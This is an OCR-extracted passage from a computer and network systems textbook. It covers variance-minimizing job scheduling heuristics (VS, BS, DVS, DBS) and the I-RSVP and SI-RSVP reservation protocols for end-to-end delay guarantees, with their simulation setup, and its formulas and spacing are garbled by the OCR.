5.2.2 Verified Spiral (VS) and Balanced Spiral (BS) methodsfor a single
serviceresource and their performancein service stability

BSAC, which is described in Chapter 4, dynamically transforms jobs arriving into batches of
jobs to receive service from a single resource. In the description of BSAC in Chapter 4, FIFO
is used to sort jobs in the current batch which are being processed for service. Two new job
scheduling methaods, called VS and BS, are developed in [6] to replace FIFO to enhance the
stability of service to jobs in the current batch of BSAC by minimizing the variance of job
waiting times for the current batch of jobs.

V'S and BS consider only the processing time of each job in a given batch of jobs when
scheduling thosejobsfor servicefrom asingleresource to minimizethe variance of job waiting
times. First, an Integer Programming problem of scheduling a set of n jobs for minimizing
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their Waiting Time Variance (WTV) isformulated as follows [6]:

A L >
Minimize: n_ljg;(wj — W) (5.10)
where
n
w,-:wj_1+ZXi,j_1pi, j=2,...,n (5.11)
i=1
w1 =0 (5.12)
n
Subjectto: Y xj=1 j=1....n (5.13)
i=1
n
doxj=1i=1....n (5.14)

,...,n, j=1,...n (5.15)

where x;; isadecision variable denoting whether job i takesthe jth positionin ajob schedule
(xij = 1) or not (x;; = 0), w; isthe waiting time of the job at position j, w isthe averagejob
waiting time, and p; isthe processing time of job i . Formula5.12 givesthe constraint that only
onejob isassigned to position j of agiven schedule, for j =1, ..., n. Formula5.13 enforces
that job i is assigned to only one position of agiven schedule, fori = 1,...,n.

It is proven [7] that WTV minimization problems are NP-hard. Hence, computationally
efficient heuristic methods of job scheduling need to be developed for practical applications
on computers and networks. In [6], VS and BS methods are devel oped based on the V-shape
property of the optimal schedule(s) for WTV problems. The V-shape property is illustrated
and proven in [8-10]. According to the V-shape property of an optimal schedule as shown
in Figure 5.4, jobs preceding the smallest job (the job with the smallest processing time) are
sorted by the decreasing order of their processing times towards the smallest job, and jobs

Job processing time

15t th

Job position in an optimal job scedhule

Figure5.4 The V-shape property of an optimal schedule for WTV problems.
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after the smallest job are also sorted by the decreasing order of their processing times towards
the smallest job. It is also proven [11-12] that there is an optimal schedule for a given WTV
problem in which the largest job is scheduled last, the second largest job is last-but-one, and
the third largest is thefirst.

Based on the V-shape property and the property of the three largest jobs in an optimal
schedule for an WTV problem, V S takes the following steps to schedule abatch or set of jobs,
{P1, P2, ---, Pn}, Where the jobs are denoted by their processing times and are numbered to
have pr < pp <... < pn!

1. Placethelargestjob, pn, inthelast position, the second largest job, p,_1, inthelast-but-one
position, the third largest job, pn_2, in the first position, and job in the second position,
producing the job schedule of (pn_2, p1, Pn—1, Pn) and the job pool with the remaining
jobs, {p2, ..., Pr—3}-

2. Removethelargest job from the job pool, place the job either right before or after job p; in
the job schedule, depending on which position produces a smaller WTV of jobsin the job
sequence so far.

3. Repeat Step 2 until the job pool is empty.

BS replaces the computation and comparison of WTV for two possible job placements in
Step 2 by simply balancing the total processing time of jobsin the left (L) and right (R) side
of thejob schedulein Step 2 asfollows:

1. Place the largest job with p, in the last position, the second largest job with p,_1 in the
|ast-but-one position, the third largest job with p,_» in thefirst position, producing the job
schedule, (pn—2, Pn—1, Pn)- Let the left and right sides of the job schedule be L = (pn_2)
and R = (p,_1). Sincejob p, inthe last position does not account for any waiting time, it
isnot included in R. Let the sum of job processingtimesin L and R be SUM_L and SUM_R.
Thejob pool hasthe remaining jobs, {p1, P2, - - -, Pr—3}-

2. Takethelargest job from thejob poal. If SUM_L < SUM_R, placethejobinthelast position
of L, and update SUM_L; otherwise, place the job in the first position of R, and update
SUMR.

3. Repeat Step 2 until the job pool is empty.

Both VS and BS maintain the property of the three largest jobs in Step 1 and the V-shape
property of the job schedule in Steps 1-3. BS has less computation cost than VS.

In [6], VS and BS are tested in comparison with FIFO, Shortest Processing Time (SPT),
and two heuristic methods from [10] which are named E& C1 and E& C2 here. SPT sched-
ules jobs by the increasing order of their processing times. The following are the steps of
E&C1 for ajob pool of n jobsand let L and R of the job schedule, (L, R), be empty at the
beginning:

1. Takethe largest job from the job pool, and placeit in thefirst position of R.
2. Takethelargest job from the job pool, and placeit in the last position of L.
3. Repeat Steps 1 and 2 until the job pool is empty.
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Table5.3 Ninesmall sets of jobs

Problem Job processing times
a 2 5 3 6 4
b 5 2 6 7 4 3
c 7 3 6 4 2 10 8 9 5
d 5 3 6 2 7 10 8 4 9 11
e 467 896 9.09 191 8.77 4.44 113 637 225 9.63
f 112 0.09 0.68 184 0.06 5 0.25 303 015 041
g 524 6.2 477 3.72 6.73 3.91 4.7 2.82 6.1 6.28
h 9 8 25 21 100 7 13 41 5 10
i 8 13 1 5 19 10 2 18 9 16

This table was published as Table 2in [6], N. Ye, X. Li, T. Farley, and X. Xu, “Job scheduling methods
for reducing waiting time variance.” Computers & Operations Research, Vol. 34, No. 10, pp. 3069-3083,
2007 (© Elsevier Limited. Reproduced with permission.

Hence, E&C1 is a simple spiral method of placing jobs from outside in a spiral R-then-L
manner. On the basis of the spiral method in E& C1, BS adds the balancing of L and R in total
processing time, and VS adds the verification of WTV when placing a job, along with the
property of the three largest jobs. E& C2 adds the placement of the four largest jobsto E& C1
according to the conjecture of the four largest jobs in [13] by:

1. Placing the largest job in the last position, the second largest job in the first position, and
the third and fourth largest jobs in the last-but-one and lat-but-two positions respectively in
the job schedule.

2. Applying E& C1 to the remaining jobs.

VS and BS are tested in comparison with FIFO, SPT, E&C1 and E& C2 on both small and
large sets of jobs in [6]. Table 5.3 lists job processing times in the nine small sets of jobs.
Four thousand sets with a large number of jobs in each set are generated using the normal,
exponential, uniform and Pareto distribution of job processing times. In overall, VS and BS
perform better than the other methods in reducing WTV for a given set of jobs. VS and BS
produce job schedules which are optimal or close to optimal. VSis dightly better than BSin
WTV but requires more computation time than BS.

An investigation into the relationship of WTV with Waiting Time Mean (WTM) from all
possible sequences for a given WTV problem reveals an interesting eye-shape pattern that
consistently appears for all WTV problems investigated in [6]. By enumerating all possible
job sequences for a given WTV problem, WTV and WTM can be obtained from each job
sequence. All pairsof (WTV, WTM) from all possible job sequences can be plotted. Figure 5.5
shows such plots of WTV over WTM for nine small sets of jobs whose processing times are
listed in Table 5.3.

For each eye shapein Figure 5.5, the lowest point(s) on the axis of variance or WTV on the
lower contour of the eye shape gives the smallest WTV from the optimal job sequence(s) for
the corresponding WTV problem. Comparing WTM from this lower point with the left-most
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Figure5.5 The variance over mean waiting time plots for Problems 1-9.

Thisfigure was published asFigure 1in [6], N. Ye, X. Li, T. Farley, and X. Xu, ‘ Job scheduling methods
for reducing waiting time variance.” Computers & Operations Research, Vol. 34, No. 10, pp. 3069-3083,
2007 (© Elsevier Limited. Reproduced with permission.

point and the right-most point on the lower contour allows the evaluation of the sacrifice in
WTM whilethe minimum WTV ispursued inthe WTV problem. Itisprovenin[1] that thejob
schedule from SPT minimizes WTM and that the job schedule from Longest Processing Time
(LPT) maximizes WTM. The left-most point on the lower contour gives the minimum WTM,
and the right-most point on the lower contour gives the maximum WTM. Hence, the left-most
point and the right-most point define the range of WTM from all possible job sequences. It
appearsin Figure 5.5 that the lowest point is closer to the left-most point than to the right-most
point on the axis of mean or WTM. In fact, the ratio of the distance from the lowest point to
the left-most point to the range of WTM varies with the nine problems from 0.1537 to 0.3710
with the average of 0.2873 and variance of 0.067. It appears from these nine problemsthat the
optimal job sequence for aWTV problem does not sacrifice much in WTM. Further research
is required to establish a rigorous, mathematical understanding of the consistent eye shape
pattern of the WTV-WTM relationship which hasimportant implicationsin (1) evaluating the
sacrificeof WTM whileminimizing WTV is pursued and (2) deriving the optimal job sequence
for aWTV problem [6].
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5.2.3 Dynamics Verified Spiral (DVS) and Dynamic Balanced Spiral
(DBS) methodsfor parallel identical resources and their
performance in service stability

In[14], VS and BS are modified to develop DV S and DBS, respectively, for scheduling jobs
on parallel identical service resources. In addition to single service resources (e.g., CPU and
router) on computers and networks, there are also parallel identical service resources, e.g.,
identical web servers at alarge e-commerce site which process web requestsin parallel. In a
WTV problem for parallel identical resources, jobs first need to be assigned to resources and
then are scheduled on each resource.

DVS and DBS are developed based on three properties of the optimal job schedules on
parallel identical resources for minimizing WTV. Given a set of n jobs to be scheduled on m
resources, it is proven in [14] that an optimal job schedule has:

1. the m largest jobsin the last position of the m resources, respectively;
2. the V-shape job sequence on each resource;

3. wk=wfork=1,..., m, where wk is WTM of all jobs scheduled on resource k, and w
iSWTM of al n jobs.

DV S takes the following steps to schedule a pool of n jobs, {pa, ..., pn}, Where the jobs
are denoted by their processing times and are numbered to have py < p2 < ... < pp,0n'm
resources.

1. AsSign pn_m+1, - - -» Pn t0 M resources, respectively, and schedule them in the last position
of the job schedule on each resource. This leaves the job pool of {pi, ..., Ph-m};

2. Take the smallest job from the job pool:
@ fork=1,...,m,
(i) Assignthejob to resourcek.

(if) Schedulethejobsassigned to each resource using V'S, producing ajob schedule on
all resources.

(iii) Compute WTV of the job schedule.

(b) Confirm the job schedule and the corresponding assignment of the job to one of them
resources which produces the smallest WTV.

3. Repeat Step 2 until the job pool is empty;

4. Compute wk fork =1, ..., m, get the largest value, wnax, and set the release time ry, of
jobson resource k to (wmax — wk) such that resource k starts processing thefirst job at time
k.

Step 1 is based on property 1 regarding the assignment and scheduling of the largest m jobs.
Using V Sto schedule jobs on each resource in Steps 2 and 3 is based on property 2 regarding
the V-shape job schedule on each resource. The release time of jobs on each resource, which
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isdetermined in Step 4, isrequired to satisfy property 3. DBS takes the same steps of DV S but
uses BSto schedule jobsin Step 2.a.ii.

In[14], DVSand DBS are tested in comparison with other six heuristic methods, including
Random Order (RO), SPT, LPT, RO+VS, SPT+VS, and LPT+VS for WTV problems with
parallel identical resources. The RO method sorts jobs in a given batch in a random order,
e.g., the FIFO order by job arrival time, and assigns the next job in the RO order on the first
available resource. Jobs assigned to each resource are scheduled in their assignment order. The
SPT and LPT methods are similar to the RO method but first sort jobs in a given batch in the
increasing order of SPT and the decreasing order of LPT, respectively. RO+VS, SPT+VSand
LPT+VSaresimilar to RO, SPT and LPT, respectively, in the assignment of jobsto resources,
but use VS to schedul e jobs on each resource and then set the rel ease time on each resource in
the sameway asin DVS and DBS.

DVS, DBS and six other heuristic methods are tested on six small sets of jobs and four
hundred sets with a large number of jobs in each set. Each set of jobs needs to be scheduled
on two paralel identical resources. The large sets of jobs are generated using the normal,
exponential, uniform and Pareto distribution of job processing times. In overall, RO, SPT and
LPT produce the worst performance in minimizing WTV. Adding VS to RO, SPT and LPT
brings great improvement. DV S gives the best performance in minimizing WTV and even the
optimal solution for some of the job sets. The WTV performance of DBSis close to that of
DV S but with less computation time.

5.3 SUMMARY

This chapter describes several job scheduling methods which have advantages in service dif-
ferentiation and/or service stability. Among all the job scheduling methods tested, WSPT and
WSPT-A demonstrate superior performance in service differentiation by giving a higher ser-
vice priority to a job with a higher service weight and a shorter processing time. WSPT-A,
which adds a compensation in service priority for a job’s waiting time already spent in the
gueue, provides an additional advantage in service stability over WSPT. VS and DV'S, which
are developed based on the proven properties of the optimal job schedules for single-resource
WTV problems and WTV problems with parallel identical resources, respectively, produce
the best performance in service stability by minimizing the variance of job waiting times or
WTYV. Considering the computational cost of VSand DVS, BS and DBS are recommended for
practical applicationson computersand networksdueto their comparable or close performance
to that of VS and DV'S, respectively, but with less computation cost.
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6

Job reservation and service
protocols for end-to-end delay
guarantee

Chapters 4 and 5 describe job admission control and job scheduling methods which enable an
individual service resource to manage incoming jobs and achieve objectives such as service
stability and service differentiation. As discussed in Chapter 1, there are many computer and
network applications which generate jobs (e.g., email, web browsing, and teleconferencing)
with requirements for end-to-end service performance from the source to the destination on
computer networks. Among numerous end-to-end performance measures such as delay, jitter,
bandwidth, and loss rate, this chapter focuses on the end-to-end delay. In Chapter 4, two types
of computer and network jobs are discussed: jobs with continuous data flows and instanta-
neous jobs. The Resource reSerVation Protocol (RSVP) based on the InteServ model [1-2]
exists to manage continuous flow jobs on computer networks and meet their end-to-end delay
requirement. This chapter presents an | nstantaneous Resource reSerVation Protocol (1-RSVP)
and a Stable Instantaneous Resource reSerVation Protocol (SI-RSVP) that have been devel-
oped to manage instantaneous jobs and meet their end-to-end delay requirement. First, RSVP
is reviewed, then, I-RSVP and SI-RSVP are introduced. The implementation and testing of
I-RSVP and SI-RSVP are described to show the job service performance under the schemes
of I-RSVP and SI-RSVP in comparison with that under the scheme of the best effort service
model on the Internet without resource reservation.

6.1 JOB RESERVATION AND SERVICE IN INTESERV AND RSVP

Routers are the primary service resources on the end-to-end path of a continuous flow job
or an instantaneous job traversing on the Internet from the source end to the destination end.
Routers provide the data routing and transmission service to the job. The end-to-end delay of
agiven job is the sum of its service times at the routers on its end-to-end path. The service
time of the job at each router is made up of the waiting time and the data transmission time.
How long the job waits in the internal buffer of the router before its turn to be transmitted

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
© 2008 John Wiley & Sons, Ltd
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out depends on how many jobs arrive and are scheduled ahead of this job to receive the data
transmission service. Since the generation of jobs and their arrival at the router competing for
therouter’s bandwidth are not predictable, the waiting time of agiven job at the router depends
on the dynamic arrival of other jobs at the router. Hence, there is no guarantee of agiven job’s
waiting time and thus its service time at the router, unless the job makes a reservation for the
desired amount of the router’s bandwidth resourceto be avail able at thetime of arrival. Without
a resource reservation, the router cannot guarantee the timely service of any job due to the
dynamic arrival of many jobs which are all competing for the router’s bandwidth resource.

As discussed in Chapter 4, InteServ and RSV P [1-2] meet the end-to-end delay and jitter
requirements of a continuous flow job by reserving a given amount of bandwidth at each
router on the end-to-end path to satisfy the data flow rate of the job for the entire session of
the continuous flow job. Although the flow rate is a main characteristic of a continuous flow
job and is guaranteed through the bandwidth reservation, the flow rate of a continuous flow job
often does not stay constant at the level of the reserved bandwidth but instead fluctuates over
time. Consequently, traffic policing and shaping mechanisms, such as the token bucket model
of admission control described in Chapter 4, are required to make the flow rate of admitted
traffic to a given router comply with the reserved bandwidth for a continuous flow job. Since
there usually are a number of reserved continuous flow jobs to serve by a given router at the
same time, a sophisticated job scheduling method is also required to determine at agiven time
which queue of areserved job to take data from for the data transmission service, and how
much data should be taken. Hence, InteServ and RSV P rely on the bandwidth reservation and
reservation-complying functions to satisfy the flow rate and consequently meet the end-to-end
delay and jitter requirements of a continuous flow job.

6.2 JOB RESERVATION AND SERVICE IN |-RSVP

Asfor acontinuous flow job in InteServ and RSV P, the end-to-end delay for an instantaneous
job cannot be guaranteed without a resource reservation because the dynamic generation and
arrival of jobs at routers on the Internet which are competing for service from routers are not
predictable. Note that only jobs of high priority are considered when making ajob reservation.
Hence, jobs in the following text refer to jobs of high priority. Unlike a continuous flow job
which is characterized by its flow rate for the entire session of the continuous flow job, an
instantaneous job is characterized by its job size which is known when the job is created. For
example, an email carrying a message from the source node is characterized by its job size
which can be measured by the data amount of the message. The email may have an end-to-end
delay requirement for reaching, from its source node to the end of its destination node within a
giventime. For agivenrouter, agiven instantaneousjobischaracterized by itsjob sizeaswell as
itsarrival time. To guaranteetheavailability of therouter’ sbandwidth for thejob, the bandwidth
reservation at the router for the instantaneous job can be made by reserving a specific time slot
that is available after the arrival of the job and is large enough to accommaodate the size of the
job. During the reserved service time slot, the router serves the job by transmitting its data.
Therefore, for a continuous flow job, InteServ and RSV P reserve the bandwidth at each
router on the end-to-end path of the job, according to the required flow rate of the continuous
flow job. For an instantaneous job, |-RSVP reserves the job's service time slot at each router
on the end-to-end path of the job according to the job size and the arrival time of thejob. Inthe
description of I-RSVP below, the time of ajob or a data packet traveling through a network
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Figure6.1 Therouter architecturein I-RSVP.

link is considered negligible in comparison with the service time of the job at a router and
is assumed to be zero. If the travel time on a network link is not negligible, I-RSVP can be
modified by taking into account the non-zero travel time on a network link.

Figure 6.1 shows the architecture and functions of a router in I-RSVP. The high priority
queuing buffer in arouter is used to hold incoming jobs of high priority, and the low priority
queuing buffer is used to hold incoming jobs of low priority. The router takes a job waiting
in the low priority queuing buffer for the service of transmitting its data only if the high
priority queuing buffer does not have any job waiting. Only the handling of high-priority jobs
is considered in the following text.

For each job, a probe packet is created to make a reservation for the job at each router on
the end-to-end path of the job. As shown in Figure 6.2, suppose that the probe packets of jobs

SERVICE SCHEDULE:
Job;  [-—— Current time when the probe packet for Job,, is received

Job,  [<—— Arrival time of Job,,

The first available time slot

Job,

» _ Job,,
The second available time slot

Job,,_;

Figure6.2 Thereservation of aservicetime slot for an incoming job in I-RSVP.



84 Job reservation and service protocols

Table6.1 Job information carried in the probe packet

Information Description

JobID The identification number of the job

JobSize The size of the job, e.g., in unit of bytes

Sourcel D Theidentification of the source node

DestinationlD The identification of the destination node

JobMaxDelay The maximum end-to-end delay required by the job, e.g., in millisecond or ms

JobDelayTime The estimate of the total time on the end-to-end path from when the job leaves the
source node to when the job leaves the current node, which is the sum of times
spent at the routers. JobDelayTime isinitialized to zero at the source node.

arrive a a given router in order of Joby, Joby, ..., Job,_1, Job,. Take an example of Joby,.
I-RSVP makes a reservation for Job, and sends out Job,, after making the reservation in the
following steps:

1. When Job, is generated at a source node, a probe packet is created for the job, and is sent
by the source node to the next router on the end-to-end path of the job. The probe packet
carries the information about the job as shown in Table 6.1. Considering the small size of
the probe packet, the travel time of the probe packet on a network link and its processing
time at arouter are assumed to be zero.

2. When arouter receives the probe packet for the job, the reservation function of the router
reserves for the job the earliest available time dot after the arrival time of the job that is
large enough to accommaodate the service time of the job at the router. The service time of
the job at the router is computed as follows:

JobSze

JObSEf\ﬂCEﬂfTE: m

JobDelayTime carried by the probe packet is the arrival time of the job at the router. As
shown in Figure 6.2, at time when the probe packet of Job,, is received, Job, isbeing served
for data transmission. Thefirst available time slot after the arrival time of Joby, is not large
enough to accommodate the service time of Job,. The next available time slot is sufficient
to accommodate Job,, and is reserved temporarily for Joby,. The temporary reservation will
need to be confirmed later by a probe reply packet to ensure that the job can arrive at the
destination node within JobMaxDelay. After the temporary reservation, JobDelayTime in
the probe packet is updated as follows:

JobDelayTime = JobDelayTime + JobServiceTime 4+ JobWaitingTime

where JobWaitingTime is computed by subtracting the arrival time of the job from the
starting time of the service time slot reserved for the job. The probe packet carrying the
updated information is then sent to the next router.

3. When the destination node receives the probe packet of the job, JobDelay Timein the probe
packet is compared with JobMaxDelay. If JobDelayTimeis not greater than JobMaxDelay,
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Table6.2 Job information carried in the probe reply packet

Information Description

JobID The identification number of the job

SourcelD The identification of the source node

Destinationl D The identification of the destination node
ReservationStatus The status of the temporary reservation: confirm or cancel

a probe reply packet is constructed with ReservationStatus set to ‘confirm’ as shown in
Table 6.2; otherwise, ReservationStatus is set to ‘cancel’. The probe reply packet with the
job information as shown in Table 6.2 is sent by the destination node to the next router on
the same end-to-end path back to the source node.

4. When arouter receivesthe prabe reply packet of the job, the router confirms the reservation
made for thejob if ReservationStatus in the probe reply packet is‘ confirm’. If Reservation-
Statusinthe probereply packetis‘ cancel’, therouter cancel sthereservation of thejob at the
router and rel eases the service time slot temporarily reserved for the job. The cancellation
of the temporary reservation for a service time slot leaves service time slot available again,
but does not change the reserved service time slots for other jobs.

5. When the source node receives the probe reply packet of the job with ReservationStatus of
‘confirm’, thejob itself is sent out to the next router on the end-to-end path to the destination
node of thejob. If the probe reply packet has*cancel’ in ReservationStatus, the source node
has several options. One option is to inform the application of the job for not being unable
to meet the job’s end-to-end delay requirement and let the application determine the action
to take next, e.g., postpone the job till alater time, cancel the job, downgrade the job to the
low priority and then send it out, and so on. Another option is for the source node to try
another route to the destination node.

6. When arouter receivesthejob, the router placesthejob in the queuing buffer at the position
of itsreserved service time sot, and servesthe job for datatransmission when it isthe time
to start the service time dlot of the job.

7. Whenthedestination nodereceivesthejob, thejobispassed to the corresponding application
for processing.

Note that there may be atime gap between two reserved service time sots of jobs, e.g., atime
gap between the reserved service slots of Job; and Job, as shown in Figure 6.2, because the
arrival time of Joby, isdifferent from the end time of the servicetime ot of Job; and the service
time dot of Job, must start at or after the arrival time of Jobs,.

As shown in Figure 6.2, the service time dot of Job, starts earlier than the service time
dot of Job,_; athough the probe packet of Job,_; arrives before the probe packet of Joby,.
This happens because Job,,_; arrives at the router later than the arrival time of Job,, dueto, for
example, more routersthat Job,,_, needsto go through. However, if thereisnot alarge enough
time slot available to accommodate the service time of Job,, before the service time sot of
Job,,_1, the service time slot of Job, will start after the service time slot of Job,,_;. Hence, the
order of the service time slots reserved for the jobs depends on: (1) the arrival order of the
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jobs' probe packets and; (2) the arrive order of the jobs themselves. The service order of the
jobs does not necessarily comply with the First-In-First-Out (FIFO) order.

6.3 JOB RESERVATION AND SERVICE IN SI-RSVP

In addition to the job reservation, SI-RSVP aso considers service stability at each router by
incorporating the BSAC method described in Chapter 4. Figure 6.3 shows the architecture of
arouter in SI-RSVP. For jobs of high priority, the router has two buffers: the processing buffer
and the waiting buffer. The processing buffer holds the batch of jobs that are being served for
data transmission. The waiting buffer holds batches of jobs that are waiting for their turn of
service. The batch size defines the maximum amount of data (e.g., in unit of bytes) that the
batch can hold. The batch size is fixed for every batch to make the service start time of each
batch fixed instead of variable and thus allow the accurate computation of JobDelayTime in
SI-RSVP,

SI-RSVP takes the following steps to make a reservation for an instantaneous job, e.g.,
Job,, and then sends out the job after making the reservation:

1. When Job,, is generated at its source node, a probe packet containing information as shown
in Table 6.1 is created for the job, and is sent by the source node to the next router on the
end-to-end path of the job.

2. Whenarouter receivesthe probe packet for Joby,, thereservation function of therouter checks
the first waiting batch whose service starts after the arrival time of Job,. If the available
data space in this batch is large enough to accommodate the size of the job as shown in
Figure 6.4, thejobisscheduled right after the last reserved job in thisbatch and the available
data space of this batch is reduced by subtracting the data space temporarily reserved for
Job,. That is, the reserved jobs in any given batch are scheduled in the FIFO order. If this
batch does not have enough data space available for Joby, the next waiting batch is checked
and the search continues until a waiting batch with enough data space available for Joby,
is found and the data space is temporarily reserved for Job, in that waiting batch. Note
that the reservation of the data space is equivalent to the reservation of the corresponding
service time dlot. The router takes the following fixed amount of time to process each
batch:

BatchSize

BatchServiceTime = Bandwidih’

Outgoing probe packets —fm
| Incoming probe reply packets —

Incoming probe packets ——pm=|

Reservation
- Outgoing probe reply packets — g <

Ji0d nduy
vod nding

BSAC for admission control &
FIFO for job scheduling

High priority waiting buffer | High priority processing buffer \

Outgoing jobs ———m-

Figure6.3 The architecture of arouter in SI-RSVP.
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Figure6.4 Thereservation of aservice time slot for an incoming job in SI-RSVP.

The service start time of a given batch, e.g., Batch i or B;, can be determined as follows:
ServiceSartTime(Bi) = ServiceStartTime(Bi — 1) + BatchServiceTime.

The data space of the batch may not be fully taken by the jobs. As aresult, there may be
some data space available in the batch when the batch is moved from the waiting buffer to
the processing buffer to start the service of the jobsin the batch. When the service of all the
jobsinthe batch is completed but it isnot yet the start time of the next batch, the router may
take thejobs from the low priority queuing buffer to serve. After the temporary reservation,
JobDelay Time in the probe packet of Joby, is updated as follows:

JobDelayTime = JobDelayTime + JobServiceTime 4+ JobWaitingTime
where JobWaitingTime is computed by subtracting the arrival time of the job from the

service start time of Job,. The service start time of Job, is the service start time of the
batch holding the job plus the sum of service times of the reserved jobs in that batch that
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are scheduled to receive service before Job,, since the reserved jobs in a given batch are
scheduled in the FIFO order. The probe packet carrying the updated information is then
sent to the next router.

3. When the destination node receives the probe packet of Joby,, JobDelayTime in the probe
packet is compared with JobMaxDelay. If JobDelayTimeis not greater than JobMaxDelay,
a probe reply packet is constructed with ReservationStatus set to ‘confirm’ as shown in
Table 6.2; otherwise, ReservationStatus is set to ‘cancel’. The probe reply packet with the
job information as shown in Table 6.2 is sent by the destination node to the next router on
the same end-to-end path back to the source node.

4. When arouter receives the probe reply packet of Job,, the router confirms the reservation
made for the job if ReservationStatusin the probe reply packet is‘ confirm’. If Reservation-
Statusin the probereply packetis*cancel’, therouter cancel sthereservation of thejob at the
router and releases the data space temporarily reserved for the job. The cancellation of the
reservation for a data space in a given batch makes more data space available in that batch,
and moves the service position of the jobs scheduled after that cancelled job in that batch
earlier. This meansthat those jobswill take lesstime than their estimated JobDelay Time to
reach their destination nodes and thus still meet their delay requirements.

5. When the source node receives the probe reply packet of Job, with ReservationStatus of
‘confirm’, the job is sent out to the next router on the end-to-end path to the destination
node. If the probe reply packet has ‘cancel’ in ReservationStatus, the source node has
several options. One option is to inform the application of the job for not being unable to
meet the job’s delay requirement and let the application determine the action to take next,
e.g., postpone the job at a later time, cancel the job, downgrade the job to the low priority
and then send it out, and so on. Another option is for the source node to try another route
to the destination node.

6. When arouter receives Joby, the router placesthe job in its reserved data space of agiven
batchinthewaiting buffer, and servesthejob for datatransmission when thebatch containing
the job is moved to the processing buffer and it is the time to serve the job in the batch
according to the FIFO schedule of the jobs in the batch.

7. When the destination node receives Job,,, the job is passed to the corresponding application
for processing.

As indicated in Step 2, the jobs in a given batch are scheduled to receive service in order
of FIFO. The job scheduling methods described in Chapter 5 for service stability, including
WSPT-A, VSand BS, are not used to schedul e the reserved jobsin agiven batch because those
scheduling methods involve possibly the scheduling of an incoming job before the service
times of thereserved jobs. The dynamicinsertion of thisjob ahead of thosereserved jobsin the
service schedul e moves those reserved jobs to start their service at later times than their initial
service start timesthat guaranteetheir arrival at their destination nodeswith their JobMaxDelay
requirements. That is, those jobs may possibly arrive at their destination nodes failing to meet
their JobMayDelay requirements. Hence, any job scheduling method involving the dynamic
insertion of anincoming job beforethereserved jobsin the service schedul e can possibly break
the end-to-end delay guarantee of those reserved jobs. Using FIFO to schedulejobsin agiven
batch ensures that such a dynamic insertion does not occur.



Service performance of 1-RSVP and SI-RSVP in comparison with the best effort model 89

However, asdiscussed in Part |, the FIFO job scheduling method introduces a vulnerability
that can be exploited by DoS attacks through resource flooding. This vulnerability can be
removed by further differentiating service classes of high priority jobs and incorporating the
service class of ajob into the job reservation so that a job with a high service class can
take over the reserved service time dot of jobswith alow service classto obtain aservicetime
dot reservation. As a result, the reserved service time dots of jobs with alow service class
are pushed back, possibly breaking the end-to-end delay guarantee of those jobs. The testing
of SI-RSVPin the following section is based on the FIFO job scheduling method without the
incorporation of service class.

6.4 SERVICE PERFORMANCE OF I-RSVP AND SI-RSVP IN
COMPARISON WITH THE BEST EFFORT MODEL

[-RSVP and SI-RSVP are tested in comparison with the best effort service model that is

commonly used on the Internet. The best effort service model uses FIFO to schedulejobs and

makes no job reservation [3-4]. I-RSV P, SI-RSVP and the best effort model are implemented

and tested using both a small-scale simulation model and a large-scale simulation model of a
computer network.

6.4.1 Thesimulation of a small-scale computer network with I-RSVP,
SI-RSVP and the best effort model

Figure 6.5 shows the topology of the small-scale simulation model of computer networks.
There are three source nodes (S1, S2 and S3), four routers (R1, R2, R3 and R4), and three

Figure6.5 The topology of asmall-scale simulation model of computer networks.
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destination nodes (D1, D2 and D3) in the simulated computer network. Instantaneousjobs are
generated to traverse along three source-to-destination paths:

S1—- Rl1— R3— D3
S2 > R3— R4— D2
S3—- R3— R4— R2— D1.

The bandwidth of each router is set to 1 byte/ms. For SI-RSVP, the batch size at each router
is set at 400 bytes, and therefore the batch service time is equal to 400 milliseconds (ms).
This batch size is determined based on the service performance of SI-RSV P tested for various
batch sizes of 200, 300, 400, 600, 1000, 1200, 1400, 1600 bytes under various simulation
conditions. Overall, the service performance of SI-RSVP for the batch size of 400 bytes is
better than or comparable to those for other batch sizes. The simulation of the network with
the best effort model, 1-RSVP or SI-RSVP running on the network is implemented using a
simulation language and software package, called SLAM [5].

Only jobsof high priority are generated at each source node using an exponential distribution
of thejobinter-arrival timewith themean of 120 msfor alight trafficlevel, 100 msfor amedium
traffic level, and 80 ms for a heavy traffic level. Each job is assigned a unique JoblD. The job
sizeis set randomly using a normal distribution with the mean of 100 bytes and the standard
deviation of 25 bytes. The mean job size of 100 bytes and the mean job inter-arrival time of
100 ms for the medium traffic condition produce the mean service rate of 1 byte/ms, which
is the bandwidth of each router. This explains why the mean job inter-arrival time of 100 ms
is used for the medium traffic condition, 120 ms for the light traffic condition, and 80 ms for
the heavy traffic condition. JobMaxDelay of each job is also set randomly using a uniform
distribution with the range of values set at one of the three levels:

e Small: (1800 ms, 3200 ms)
e Medium: (2800 ms, 4200 ms)
e Large: (3800 ms, 5200 ms).

These ranges of JobMaxDelay are determined based on the JobDelay Time val ues of jobsfrom
preliminary runs of the network simulation. Hence, there are totally nine (3 traffic levels * 3
JobMaxDelay levels) test conditions for each of the three service models: I-RSVP, SI-RSVP,
and the best effort model.

For each test condition and each service model, there are 100 simulation runs, each of which
startsat t = 0 and ends at t = 50,000 units of the simulation time. Each unit of simulation
time is considered as one millisecond. From each simulation run, we collect the following
performance measures in three categories.

Measures in number of jobs:

o the number of jobs generated;

e the number of jobs that fail to get a reservation because their JobMaxDelay cannot be
satisfied;

o the number of jobs at the destinations, which are jobs aready reaching their destination at
the end of the simulation;
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e the number of jobs still in the network, which are jobs not reaching their destination at the
end of the simulation;

e the number of successful jobs, which are jobs reaching their destination within their
JobMaxDelay;

e thenumber of latejobs, which arejobsreaching their destination beyond their JobMaxDel ay.
Measuresin time:

e Mean and standard deviation of JobDelayTime. At first, JobDelayTime of each job that
reaches their destination is collected from the simulation run. Using the JobDelayTime
values of al the jobs that reach their destination, the mean and standard deviation of those
JobDelayTime values are then computed.

e Mean and standard deviation of JobCompletionTime at each router. JobCompletionTime
is the sum of the service time and the waiting time for a job at a given router. At first,
JobCompletionTime of each job that completesits service at agiven router is collected from
the simulation run. Using the JobCompl etionTime values of all the jobs that complete their
service at that router, the mean and standard deviation of those JobCompletionTime values
are computed.

Measure in utilization:

e Mean and standard deviation of router utilization at each router. The router utilization at a
givenrouter isthe percentage of the router’s bandwidth that is utilized at agiven time. Using
the router utilization values collected at that router over the period of the simulation run, the
mean and standard deviation of router utilization are computed.

For the measures in number of jobs, the 100 numbers for each measure from the 100 simu-
lation runs respectively are reported in terms of their mean and standard deviation. For the
mean and standard deviation measures in time and utilization, the 100 mean and standard
deviationsvaluesfor each measure from the 100 simulation runs respectively are averaged and
reported.

6.4.2 The simulation of a large-scale computer network with [-RSVP,
